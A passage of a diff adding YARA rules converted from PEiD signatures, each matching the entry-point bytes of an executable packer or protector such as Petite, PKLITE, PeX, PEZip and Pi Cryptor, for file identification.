+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01666_Petite_1_2_
+{
+    meta:
+        description = "[Petite 1.2]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01667_Petite_1_3_____c_1998_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.3 -> (c)1998 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 7B 00 00 00 85 C0 74 2E 5F 5F 58 5A 8B 4A 0C C1 F9 02 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB A0 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 6D 01 6A 10 8B D8 66 05 66 01 50 52 6A 00 8B 13 FF 14 1A 6A FF FF 93 ?? ?? 00 00 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01668_Petite_1_3_____c_1998_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.3 -> (c)1998 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01669_Petite_1_3_
+{
+    meta:
+        description = "[Petite 1.3]"
+        ep_only = "false"
+    strings:
+        $a = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1}
+    condition:
+        $a
+}
+
+rule PEiD_01670_Petite_1_4_____c_1998_99_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.4 -> (c)1998-99 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 72 04 03 7A 08 8B 0A F3 A5 83 C2 0C FC EB D4 8B 7A 08 03 F8 8B 5A 04 85 DB 74 13 52 53 57 03 02 50 E8 79 00 00 00 85 C0 74 30 5F 5F 58 5A 8B 4A 0C C1 F9 02 33 C0 F3 AB 8B 4A 0C 83 E1 03 F3 AA 83 C2 10 EB 9E 45 52 52 4F 52 21 00 43 6F 72 72 75 70 74 20 44 61 74 61 21 00 8B 64 24 24 8B 04 24 83 C4 26 8B D0 66 81 C2 7E 01 6A 10 8B D8 66 05 77 01 50 52 6A 00 03 1B FF 13 6A FF FF 53 08 56 57 8B 7C 24 0C 8B 74 24 10 8B 4C 24 14 C1 F9 02 F3 A5 8B 4C 24 14 83 E1 03 F3 A4 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01671_Petite_1_4_____c_1998_99_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.4 -> (c)1998-99 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01672_Petite_1_4_
+{
+    meta:
+        description = "[Petite 1.4]"
+        ep_only = "false"
+    strings:
+        $a = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+    condition:
+        $a
+}
+
+rule PEiD_01673_Petite_2_1_
+{
+    meta:
+        description = "[Petite 2.1]"
+        ep_only = "false"
+    strings:
+        $a = {64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8}
+    condition:
+        $a
+}
+
+rule PEiD_01674_Petite_2_2_____c_1998_99_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 2.2 -> (c)1998-99 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66 83 C7 68 81 C6 ?? ?? 00 00 F3 A5 FF D3 58 8D 90 B8 01 00 00 8B 0A 0F BA F1 1F 73 16 8B 04 24 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB E2 83 C2 10 8B 5A F4 85 DB 74 D8 8B 04 24 8B 7A F8 03 F8 52 8D 34 01 EB 17 58 58 58 5A 74 C4 E9 1C FF FF FF 02 D2 75 07 8A 16 83 EE FF 12 D2 C3 81 FB 00 00 01 00 73 0E 68 60 C0 FF FF 68 60 FC FF FF B6 05 EB 22 81 FB 00 00 04 00 73 0E 68 80 81 FF FF 68 80 F9 FF FF B6 07 EB 0C 68 00 83 FF FF 68 00 FB FF FF B6 08 6A 00 32 D2 4B A4 33 C9 83 FB 00 7E A4 E8 AA FF FF FF 72 17 A4 30 5F FF 4B EB ED 41 E8 9B FF FF FF 13 C9 E8 94 FF FF FF 72 F2 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01675_Petite_2_2_____c_1998_99_Ian_Luck_
+{
+    meta:
+        description = "[Petite 2.2 -> (c)1998-99 Ian Luck]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01676_PEtite_v1_2_
+{
+    meta:
+        description = "[PEtite v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 CA ?? ?? ?? 03 ?? 04 ?? 05 ?? 06 ?? 07 ?? 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01677_PEtite_v1_3_
+{
+    meta:
+        description = "[PEtite v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01678_PEtite_v1_4_
+{
+    meta:
+        description = "[PEtite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01679_PEtite_v1_4_
+{
+    meta:
+        description = "[PEtite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01680_Petite_v1_4_
+{
+    meta:
+        description = "[Petite v1.4]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01681_PEtite_v2_0_
+{
+    meta:
+        description = "[PEtite v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01682_Petite_v2_1__1__
+{
+    meta:
+        description = "[Petite v2.1 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01683_Petite_v2_1__2__
+{
+    meta:
+        description = "[Petite v2.1 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01684_PEtite_v2_1_
+{
+    meta:
+        description = "[PEtite v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_01685_Petite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[Petite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "false"
+    strings:
+        $a = {B8 00 ?0 4? 00 6? 00 ?? ?? 0? ?? ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01686_Petite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[Petite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+rule PEiD_01687_PEtite_v2_2____www_un4seen_com_petite_
+{
+    meta:
+        description = "[PEtite v2.2 -> www.un4seen.com/petite]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01688_Petite_v_____after_v1_4__
+{
+    meta:
+        description = "[Petite v?.? (after v1.4)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01689_PEtite_vx_x_
+{
+    meta:
+        description = "[PEtite vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01690_PeX_0_99__Eng_____bart_CrackPl_
+{
+    meta:
+        description = "[PeX 0.99 (Eng) -> bart/CrackPl]"
+        ep_only = "false"
+    strings:
+        $a = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01691_PeX_0_99____bart_CrackPl_
+{
+    meta:
+        description = "[PeX 0.99 -> bart^CrackPl]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01692_PeX_v0_99__Eng_____bart_CrackPl_
+{
+    meta:
+        description = "[PeX v0.99 (Eng) -> bart/CrackPl]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01693_pex_V0_99____params_
+{
+    meta:
+        description = "[pex V0.99 -> params]"
+        ep_only = "true"
+    strings:
+        $a = {E9 F5 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01694_PEX_v0_99_
+{
+    meta:
+        description = "[PEX v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01695_PEZip_1_0_by_BaGIE_
+{
+    meta:
+        description = "[PEZip 1.0 by BaGIE]"
+        ep_only = "false"
+    strings:
+        $a = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+    condition:
+        $a
+}
+
+rule PEiD_01696_PEZip_v1_0_by_BaGIE_
+{
+    meta:
+        description = "[PEZip v1.0 by BaGIE]"
+        ep_only = "false"
+    strings:
+        $a = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51 0F B6 C9 66 83 F6 00 3D CB 60 47 92 50 40 58 FC E2 EE 59 F8 7C 08 53 74 04 78 02 84 C9 5B 66 0B ED F8 F5 BA 9F FA FF FF 52 57 77 04 78 02 84 E4 5F 5A 50 80 EF 00 58 50 81 E0 FF FF FF FF 58 3C EF FC 7A 05 3D DF DA AC D1 05 00 00 00 00 73 05 71 03 7E 01 90 EB 02 EB 05 E8 F9 FF FF FF 83 C0 00 7B 06 53 66 BB 74 EF 5B F8 8B 3C 24 83 C4 04 51 0F B6 C9 66 C1 C7 30 0B D2 53 66 83 FD F6 5B 55 6A 97 83 C4 04 5D E2 E8 59 53 55 51 66 83 E9 00 59 5D 5B F8 01 FA 22 C9 7A 02 8D 3F 79 08 71 06 52 66 A9 6E E3 5A 51 0F B6}
+    condition:
+        $a
+}
+
+rule PEiD_01697_PGMPACK_v0_13_
+{
+    meta:
+        description = "[PGMPACK v0.13]"
+        ep_only = "true"
+    strings:
+        $a = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01698_PGMPACK_v0_14_
+{
+    meta:
+        description = "[PGMPACK v0.14]"
+        ep_only = "true"
+    strings:
+        $a = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01699_Phoenix_Protector_v1_0_v1_1____NTCore_com_
+{
+    meta:
+        description = "[Phoenix Protector v1.0/v1.1 -> NTCore.com]"
+        ep_only = "true"
+    strings:
+        $a = {02 6F ?? ?? ?? 0A 0A 06 8D ?? ?? ?? 01 0B 16 0C 38 36 00 00 00 02 08 6F ?? ?? ?? 0A 0D 09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C 08 07 8E 69 38 0B 00 00 00 28 ?? ?? ?? 0A 2A 38 EC FF FF FF 3F C0 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01700_Phonebook_configuration_file_Version__v3__v4_
+{
+    meta:
+        description = "[Phonebook configuration file Version %v3.%v4]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 6F 6E 65 62 6F 6F 6B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 63 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01701_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01702_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01703_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 5A 59 59 64 89 10 68 3D 1F 06 00 8D 45 EC E8 C3 F6 FF FF C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01704_Pi_Cryptor_1_0___by_Scofield_
+{
+    meta:
+        description = "[Pi Cryptor 1.0 - by Scofield]"
+        ep_only = "false"
+    strings:
+        $a = {89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F4 E8 ?? ?? ?? ?? C3 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01705_PIRIT_v1_5_
+{
+    meta:
+        description = "[PIRIT v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01706_PKLITE_v1_00__v1_03_
+{
+    meta:
+        description = "[PKLITE v1.00, v1.03]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01707_PKLITE_v1_00c__1__
+{
+    meta:
+        description = "[PKLITE v1.00c (1)]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01708_PKLITE_v1_00c__2__
+{
+    meta:
+        description = "[PKLITE v1.00c (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01709_PKLITE_v1_12__v1_15__v1_20__1__
+{
+    meta:
+        description = "[PKLITE v1.12, v1.15, v1.20 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01710_PKLITE_v1_12__v1_15__v1_20__2__
+{
+    meta:
+        description = "[PKLITE v1.12, v1.15, v1.20 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 3B C4 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01711_PKLITE_v1_14__v1_15__v1_20__3__
+{
+    meta:
+        description = "[PKLITE v1.14, v1.15, v1.20 (3)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01712_PKLITE_v1_14__v1_20_
+{
+    meta:
+        description = "[PKLITE v1.14, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01713_PKLITE_v1_20_
+{
+    meta:
+        description = "[PKLITE v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01714_PKLITE_v1_50__1__
+{
+    meta:
+        description = "[PKLITE v1.50 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01715_PKLITE_v1_50__Device_driver_compression__
+{
+    meta:
+        description = "[PKLITE v1.50 (Device driver compression)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01716_PKLITE_v2_00c_
+{
+    meta:
+        description = "[PKLITE v2.00c]"
+        ep_only = "true"
+    strings:
+        $a = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_01717_PKLITE32_1_1____PKWARE_Inc__
+{
+    meta:
+        description = "[PKLITE32 1.1 -> PKWARE Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+*/
+rule PEiD_01718_PKLITE32_1_1_
+{
+    meta:
+        description = "[PKLITE32 1.1]"
+        ep_only = "true"
+    strings:
+        $a = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01719_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01720_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+    condition:
+        $a
+}
+/*
+rule PEiD_01721_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+*/
+rule PEiD_01722_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01723_Pksmart_1_0b_
+{
+    meta:
+        description = "[Pksmart 1.0b]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+    condition:
+        $a at pe.entry_point
+}
